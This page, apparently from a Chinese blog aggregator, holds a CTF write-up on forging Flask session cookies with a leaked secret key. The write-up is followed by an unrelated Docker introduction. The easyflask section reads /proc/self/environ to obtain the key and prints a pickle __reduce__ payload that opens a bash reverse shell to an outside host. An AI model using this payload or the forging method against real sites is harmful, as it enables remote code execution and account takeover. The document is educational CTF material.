flask中的session伪造问题

前言

这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的session伪造问题。

flask中的session

flask是非常轻量级的web框架,它的session是存储在客户端的,是用户可见的,这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。

from flask import Flask,session
app = Flask(__name__)
app.secret_key = "iamXiLitter"
@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "XiLitter":
            return "欢迎XiLitter"
        if name == "admin":
            return "欢迎admin"
        else:
            return "你是谁"
    else:
        session['name']="XiLitter"
        return "session重新设置"

if __name__ == '__main__':
    app.run(debug=False,port=8000)

打开cookie查看到有session,值是类似于base64编码的字符串。

flask中的session伪造问题

拿去base64解码,看看里面的存储格式是什么样的。

flask中的session伪造问题

是json格式存储,还有一堆乱码,那应该就是数据签名。

session安全问题

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.secret_key = "iamXiLitter"

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录。

github上是有伪造脚本的,python2和python3的都有,下载链接:GitHub – noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

flask中的session伪造问题

本机环境python3,有了密钥,对session进行伪造。

flask中的session伪造问题

伪造出的session添加到cookie中重新刷新 。成功登录admin

flask中的session伪造问题

通过两道题目体会session伪造在ctf中的应用。

[HCTF 2018]admin

这道题貌似有很多解法。session伪造是其中一种。它这个给的提示有些隐晦,我们注册登录后,在修改密码的地方查看源代码,有题目源码地址。

flask中的session伪造问题

单看这个链接也能猜到用的是flask框架。要进行session伪造就必须要拿到密钥。把源码打包下载下来。可以在config.py中找到密钥。

flask中的session伪造问题

密钥为ckj123。那么就先看看客户端session。在这里直接base64解码是不行的,在网上找解密脚本运行出来。

flask中的session伪造问题

我们只需要将name中的qwe值替换为admin就可以了。利用密钥伪造出admin的session,还是利用脚本。

flask中的session伪造问题

拿去替换原来的session就可以成功admin登录啦。

flask中的session伪造问题

[HFCTF 2021 Final]easyflask

上一个题是专门考察session伪造的,那么这一题就是结合py反序列化一起考察的题目。

直接查看主题并按照提示查找源代码。

[En]

Look directly at the topic and follow the prompts to find the source code.

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"

@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'

if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

先对代码进行审计。因为对python代码不是很熟,所以比较啰嗦。审计flask主要看路由。先看/路由。序列化上面的User类,将序列化值存储在session中。再看/file路由。很明显,它主要对file传入的内容进行一个路径拼接,然后进行一个过滤,最后读取该路径的文件内容。最后是/admin路由。对session中的值进行反序列化,最后判断是否为admin。

这题主要围绕session进行攻击的,所以对session的任意伪造是必不可少的。那么伪造session必须得找到密钥。题目没有直接给我们。唯一能找到密钥的点就是/file路由的文件读取。读取/proc/self/environ就可以得到密钥。个人认为是读取当前进程的环境变量,密钥在环境变量里。

flask中的session伪造问题

那么密钥就是glzjin22948575858jfjfjufirijidjitg3uiiuuh。剩下就是py反序列化了。思路很简单,直接构造__reduce__魔术方法执行rce。

直接构造恶意类,貌似直接命令执行会报错误,这里用反弹shell解决。

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

这个User类有点奇怪,用了type函数,但是type返回的就是类,所以无影响。而lambda就是匿名函数了,冒号后面的表达式会被执行。在这里我卡了好久,用本机运行出来的序列化串一直无法打通,最后我在kali里用python2运行出来的序列化串可以成功反弹shell。但是环境不是python3的吗,不理解。

那就kali运行出序列化串,

flask中的session伪造问题

然后就是将这串值加入到session中,先将session拿出来看看结构。这个可以base64解码直接看的

flask中的session伪造问题

然后使用脚本来伪造它。同时打开收听。

[En]

And then use the script to forge it. Turn on the listening at the same time.

flask中的session伪造问题

访问/admin路由,将session替换掉,然后重新刷新,接着我的vps成功反弹了shell。在根目录成功找到flag。

flask中的session伪造问题

注意一定要在linux环境下用python2运行出序列化串才能打通。

结语

flask的session伪造大部分都是跑脚本,只有在找密钥这个地方花点心思。同时,它可以结合许多的漏洞结合起来考察。所以在flask代码中出现SECRET_KEY就要留意一下是不是跟session伪造有关了。

相关链接:

Flask 的 SESSION 伪造 | Paoka1’s Blog

[HFCTF 2021 Final]easyflask_errorr0的博客-CSDN博客_easyflask1

Original: https://blog.csdn.net/m0_62422842/article/details/126710907
Author: XiLitter
Title: flask中的session伪造问题



相关阅读

Title: Docker简介

1.什么是Docer

在计算机的世界中,容器拥有一段漫长且传奇的历史。容器与管理程序虚拟化 (hypervisor virtualization,HV)有所不同,管理程序虚拟化通过中间层将一台或者多台独立 的机器虚拟运行与物理硬件之上,而容器则是直接运行在操作系统内核之上的用户空间。因 此,容器虚拟化也被称为”操作系统级虚拟化”,容器技术可以让多个独立的用户空间运行 在同一台宿主机上。

由于”客居”于操作系统,容器只能运行与底层宿主机相同或者相似的操作系统,这看 起来并不是非常灵活。例如:可以在 Ubuntu 服务中运行 Redhat Enterprise Linux,但无法再 Ubuntu 服务器上运行 Microsoft Windows。

与完全隔离的管理程序虚拟化相比,容器被认为是不安全的。这一观点的反对者认为,由于虚拟容器由完整的操作系统进行虚拟化,这无疑增加了攻击范围,并考虑到了虚拟机管理程序层的潜在暴露风险。

[En]

Containers are considered insecure compared to completely isolated hypervisor virtualization. Opponents of this view argue that because the virtual container is virtualized by a complete operating system, this undoubtedly increases the scope of the attack and takes into account the potential exposure risk of the hypervisor layer.

尽管有诸多局限性,容器还是被广泛部署于各种各样的应用场合。在超大规模的多租户 服务部署、轻量级沙盒以及对安全要求不太高的隔离环境中,容器技术非常流行。最常见的 一个例子就是”权限隔离监牢”(chroot jail),它创建一个隔离的目录环境来运行进程。 如果权限隔离监牢正在运行的进程被入侵者攻破,入侵者便会发现自己”身陷囹圄”,因为 权限不足被困在容器所创建的目录中,无法对宿主机进一步破坏。

最新的容器技术引入了 OpenVZ、Solaris Zones 以及 Linux 容器(LXC)。使用这些新技 术,容器不在仅仅是一个单纯的运行环境。在自己的权限类内,容器更像是一个完整的宿主 机。对 Docker 来说,它得益于现代 Linux 特性,如控件组(control group)、命名空间 (namespace)技术,容器和宿主机之间的隔离更加彻底,容器有独立的网络和存储栈,还 拥有自己的资源管理能力,使得同一台宿主机中的多个容器可以友好的共存。

容器被认为是精益技术,因为容器需要的开销有限。和传统虚拟化以及半虚拟化相比, 容器不需要模拟层(emulation layer)和管理层(hypervisor layer),而是使用操作系统的系 统调用接口。这降低了运行单个容器所需的开销,也使得宿主机中可以运行更多的容器。

尽管有着光辉的历史,容器仍未得到广泛的认可。一个很重要的原因就是容器技术的复 杂性:容器本身就比较复杂,不易安装,管理和自动化也很困难。而 Docker 就是为了改变 这一切而生的。

1)本质上的区别

2)使用上的区别

1) 上手快

用户只需要几分钟,就可以把自己的程序”Docker 化”。Docker 依赖于”写时复制” (copy-on-write)模型,使修改应用程序也非常迅速,可以说达到”随心所致,代码即改” 的境界。

随后,就可以创建容器来运行应用程序了。大多数 Docker 容器只需要不到 1 秒中即可 启动。由于去除了管理程序的开销,Docker 容器拥有很高的性能,同时同一台宿主机中也 可以运行更多的容器,使用户尽可能的充分利用系统资源。

2) 职责的逻辑分类

使用 Docker,开发人员只需要关心容器中运行的应用程序,而运维人员只需要关心如 何管理容器。Docker 设计的目的就是要加强开发人员写代码的开发环境与应用程序要部署 的生产环境一致性。从而降低那种”开发时一切正常,肯定是运维的问题(测试环境都是正 常的,上线后出了问题就归结为肯定是运维的问题)”

3) 快速高效的开发生命周期

Docker 的目标之一就是缩短代码从开发、测试到部署、上线运行的周期,让你的应用 程序具备可移植性,易于构建,并易于协作。(通俗一点说,Docker 就像一个盒子,里面 可以装很多物件,如果需要这些物件的可以直接将该大盒子拿走,而不需要从该盒子中一件 件的取。)

4) 鼓励使用面向服务的架构

Docker 还鼓励面向服务的体系结构和微服务架构。Docker 推荐单个容器只运行一个应 用程序或进程,这样就形成了一个分布式的应用程序模型,在这种模型下,应用程序或者服 务都可以表示为一系列内部互联的容器,从而使分布式部署应用程序,扩展或调试应用程序 都变得非常简单,同时也提高了程序的内省性。(当然,可以在一个容器中运行多个应用程 序)

2. Docker组件

Docker 是一个客户端-服务器(C/S)架构程序。Docker 客户端只需要向 Docker 服务器 或者守护进程发出请求,服务器或者守护进程将完成所有工作并返回结果。Docker 提供了 一个命令行工具 Docker 以及一整套 RESTful API。你可以在同一台宿主机上运行 Docker 守护 进程和客户端,也可以从本地的 Docker 客户端连接到运行在另一台宿主机上的远程 Docker 守护进程。

镜像是构建 Docker 的基石。用户基于镜像来运行自己的容器。镜像也是 Docker 生命周 期中的”构建”部分。镜像是基于联合文件系统的一种层式结构,由一系列指令一步一步构 建出来。例如:

添加一个文件;

执行一个命令;

打开一个窗口。

也可以将镜像当作容器的”源代码”。镜像体积很小,非常”便携”,易于分享、存储和更 新。

Docker 用 Registry 来保存用户构建的镜像。Registry 分为公共和私有两种。Docker 公司 运营公共的 Registry 叫做 Docker Hub。用户可以在 Docker Hub 注册账号,分享并保存自己的 镜像(说明:在 Docker Hub 下载镜像巨慢,可以自己构建私有的 Registry)。

Docker 可以帮助你构建和部署容器,你只需要把自己的应用程序或者服务打包放进容 器即可。容器是基于镜像启动起来的,容器中可以运行一个或多个进程。我们可以认为,镜 像是Docker生命周期中的构建或者打包阶段,而容器则是启动或者执行阶段。 容器基于 镜像启动,一旦容器启动完成后,我们就可以登录到容器中安装自己需要的软件或者服务。

所以 Docker 容器就是: 一个镜像格式; 一些列标准操作; 一个执行环境。

Docker 借鉴了标准集装箱的概念。标准集装箱将货物运往世界各地,Docker 将这个模 型运用到自己的设计中,唯一不同的是:集装箱运输货物,而 Docker 运输软件。

和集装箱一样,Docker 在执行上述操作时,并不关心容器中到底装了什么,它不管是 web 服务器,还是数据库,或者是应用程序服务器什么的。所有的容器都按照相同的方式将 内容”装载”进去。

Docker 也不关心你要把容器运到何方:我们可以在自己的笔记本中构建容器,上传到 Registry,然后下载到一个物理的或者虚拟的服务器来测试,在把容器部署到具体的主机中。 像标准集装箱一样,Docker 容器方便替换,可以叠加,易于分发,并且尽量通用。

使用 Docker,我们可以快速的构建一个应用程序服务器、一个消息总线、一套实用工 具、一个持续集成(CI)测试环境或者任意一种应用程序、服务或工具。我们可以在本地构 建一个完整的测试环境,也可以为生产或开发快速复制一套复杂的应用程序栈。

3.使用Docker做什么

容器提供了隔离,结论是容器可以为各种测试提供良好的沙盒环境。还有,集装箱书

[En]

Containers provide isolation, and the conclusion is that containers can provide a good sandboxie environment for various tests. And, the container book

身就具有”标准性”的特征,非常适合为服务创建构建块。Docker 的一些应用场景如下:

  • 加速本地开发和构建流程,使其更加高效、更加轻量化。本地开发人员可以构建、 运行并分享 Docker 容器。容器可以在开发环境中构建,然后轻松的提交到测试环境中,并 最终进入生产环境。
  • 让独立的服务或应用在不同的环境中获得相同的结果。这在严重依赖微服务的面向服务的体系结构和部署中很有用。
    [En]

    enable independent services or applications to get the same results in different environments. This is useful in service-oriented architectures and deployments that rely heavily on micro-services.*

  • 用 Docker 创建隔离的环境来进行测试。例如,用 Jenkins CI 这样的持续集成工具 启动一个用于测试的容器。
  • Docker 可以让开发者先在本机上构建一个复杂的程序或架构来进行测试,而不是 一开始就在生产环境部署、测试。

Original: https://www.cnblogs.com/minqiliang/p/16693881.html
Author: minqiliang
Title: Docker简介

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/303865/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

最近整理资源【免费获取】:   👉 程序员最新必读书单  | 👏 互联网各方向面试题下载 | ✌️计算机核心资源汇总